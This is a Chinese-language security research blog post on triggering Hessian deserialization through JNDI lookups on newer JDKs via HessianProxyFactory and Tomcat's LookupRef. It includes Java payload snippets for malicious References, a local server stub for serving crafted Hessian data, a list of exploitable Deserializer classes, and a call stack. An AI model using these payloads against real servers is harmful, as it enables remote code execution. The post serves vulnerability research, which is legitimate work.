HessianProxy

浅蓝师傅在 探索高版本 JDK 下 JNDI 漏洞的利用方法 中提到过HessianProxyFactory这个工厂类。可以触发Hessian反序列化。

getObjectInstance代码如下:

public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?,?> environment) throws Exception {
    Reference ref = (Reference) obj;

    String api = null;
    String url = null;

    for (int i = 0; i < ref.size(); i++) {
        RefAddr addr = ref.get(i);

        String type = addr.getType();
        String value = (String) addr.getContent();

        if (type.equals("type"))
        api = value;
        else if (type.equals("url"))
        url = value;
        .........
    }

    .........

    Class apiClass = Class.forName(api, false, _loader);

    return create(apiClass, url);
}

从reference参数中获取api和url,调用create,代码如下:

public Object create(Class<?> api, URL url, ClassLoader loader) {
    if (api == null)
        throw new NullPointerException("api must not be null for HessianProxyFactory.create()");
    InvocationHandler handler = null;

    handler = new HessianProxy(url, this, api);

    return Proxy.newProxyInstance(loader, 
        new Class[] { 
            api, 
            HessianRemoteObject.class 
        },
        handler
    );
}

传入的api为接口类名,创建了一个动态代理,handler会访问url获取数据。

代理的invoke方法代码如下:

conn = sendRequest(mangleName, args);

is = getInputStream(conn);

......

AbstractHessianInput in;

int code = is.read();

if (code == 'H') {
    int major = is.read();
    int minor = is.read();

    in = _factory.getHessian2Input(is);

    Object value = in.readReply(method.getReturnType());
    .......

访问url,前三个字节应该是控制版本不需要变。

readReply方法代码如下:

public Object readReply(Class expectedClass) throws Throwable {
    int tag = read();

    if (tag == 'R')
        return readObject(expectedClass);
    else if (tag == 'F') {
        HashMap map = (HashMap) readObject(HashMap.class);

        throw prepareFault(map);
    }
    .........
}

expectedClass是所代理方法的返回值类型。第四个字节为R则反序列化成expectedClass,若为F则反序列化成HashMap

readObject方法里会根据expectedClass获取Deserializer

Deserializer reader = findSerializerFactory().getDeserializer(cl);

使用不同的Deserializer可以将反序列化的结果限制成不同的类型。

主动触发invoke

写一个接口com.demo.LocalTest

package com.demo;

public interface LocalTest {
    public void test();
}

发送以下Reference:

Reference ref = new Reference("javax.lang.String", "com.caucho.hessian.client.HessianProxyFactory", null);
ref.add(new StringRefAddr("type", "com.demo.LocalTest"));
ref.add(new StringRefAddr("url", "http://127.0.0.1:7000/exp"));

7000端口HTTP server部署文件/exp

// 将序列化数据添加前缀并写入/exp

String data = "hessian ser data base64 encoded";
byte[] code = Base64.getDecoder().decode(data);

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();

try {
    byteArrayOutputStream.write(new byte[]{72, 2, 0, 82});
    // 添加前缀使其进入readObject方法。

    byteArrayOutputStream.write(code);

jndi lookup后主动调用test方法:

String url = "ldap://127.0.0.1:1389/test";

InitialContext initialContext = new InitialContext();
LocalTest test = (LocalTest) initialContext.lookup(url);
test.test();

toString入口

如果序列化数据最外层是一个HashMap会调用DeserializerreadMap方法

com.demo.LocalTest#test的返回值为void

根据void获得的DeserializerBasicDeserializer,这个类的readMap方法实现如下:

public Object readMap(AbstractHessianInput in) throws IOException {
    Object obj = in.readObject();

    String className = getClass().getName();

    if (obj != null)
        throw error(className + ": unexpected object " + obj.getClass().getName() + " (" + obj + ")");
    else
        throw error(className + ": unexpected null value");
}

readMap里继续反序列化内部对象不再受到Deserializer限制,是正常的Hessian反序列化,但无论obj为什么类型,BasicDeserializer都不允许,会保存,但throw时可以触发toString

正常Hessian反序列化

原本常规的那些需要hashCodeequals触发的Hessian反序列化链需要再套一层HashMap才行。

其他可利用的Deserializer

既然BasicDeserializer可以触发toString,那可以找找其他有危险操作的Deserializer的实现类。

大致找了找:

toString

  • AbstractListDeserializer#readObject
  • AbstractMapDeserializer#readObject
  • BasicDeserializer#readMap
  • JavaDeserializer
  • UnsafeDeserializer

equals

  • AbstractStreamDeserializer#readMap
  • AbstractStringValueDeserializer#readMap

newInstance

  • ArrayDeserializer#createArray
  • BeanDeserializer#instantiate
  • CollectionDeserializer#createList
  • JavaDeserializer
  • SqlDateDeserializer
  • StringValueDeserializer
  • UnsafeDeserializer

Method.invoke

  • BeanDeserializer#readMap
  • EnumDeserializer#create
  • JavaDeserializer
  • UnsafeDeserializer

lookup

  • RemoteDeserializer

自动触发invoke

上面提到想要触发反序列化需要代用代理的invoke,靠手动触发没什么意义。所以要在lookup过程中触发代理的invoke。

浅蓝师傅在文章中使用的LookupRef

payload:

LookupRef ref = new LookupRef("java.lang.String","look");
ref.add(new StringRefAddr("factory", "com.caucho.hessian.client.HessianProxyFactory"));
ref.add(new StringRefAddr("type", "java.lang.AutoCloseable"));
ref.add(new StringRefAddr("url", "http://127.0.0.1:7000/exp"));

LookupFactorygetObjectInstance方法的代码如下:

if (factory != null) {
    result = factory.getObjectInstance(obj, name, nameCtx, environment);
} else {
    if (lookupName == null) {
        throw new NamingException(sm.getString("lookupFactory.createFailed"));
    } else {
        result = new InitialContext().lookup(lookupName);
    }
}

Class<?> clazz = Class.forName(ref.getClassName());
if (result != null && !clazz.isAssignableFrom(result.getClass())) {
    String msg = sm.getString("lookupFactory.typeMismatch",
            name, ref.getClassName(), lookupName, result.getClass().getName());
    NamingException ne = new NamingException(msg);
    log.warn(msg, ne);
    // Close the resource we no longer need if we know how to do so
    if (result instanceof AutoCloseable) {
        try {
            ((AutoCloseable) result).close();
........

可以将LookupRef看做是ReferenceReference,能够调用代理的AutoCloseable#close方法。这个方法的返回值为void,所以能够触发toString

堆栈:

com.demo.Test -> toString
java.lang.String -> valueOf
java.lang.StringBuilder -> append
com.caucho.hessian.io.AbstractDeserializer -> readMap
com.caucho.hessian.io.Hessian2Input -> readObject
com.caucho.hessian.io.Hessian2Input -> readReply
com.caucho.hessian.client.HessianProxy -> invoke
jdk.proxy1.$Proxy0 -> close
org.apache.naming.factory.LookupFactory -> getObjectInstance
javax.naming.spi.DirectoryManager -> getObjectInstance
com.sun.jndi.ldap.LdapCtx -> c_lookup
com.sun.jndi.toolkit.ctx.ComponentContext -> p_lookup
com.sun.jndi.toolkit.ctx.PartialCompositeContext -> lookup
com.sun.jndi.toolkit.url.GenericURLContext -> lookup
com.sun.jndi.url.ldap.ldapURLContext -> lookup
javax.naming.InitialContext -> lookup

但除了LookupRef配合AutoCloseable,在jdk17的工厂类和jndi lookup流程中我没有找到其他的能够触发invoke的地方。

总结

花了不少时间去找能利用的类,感觉这种利用方式意义不大。

但至少能自动触发toString还是有收获的。

参考

https://tttang.com/archive/1405/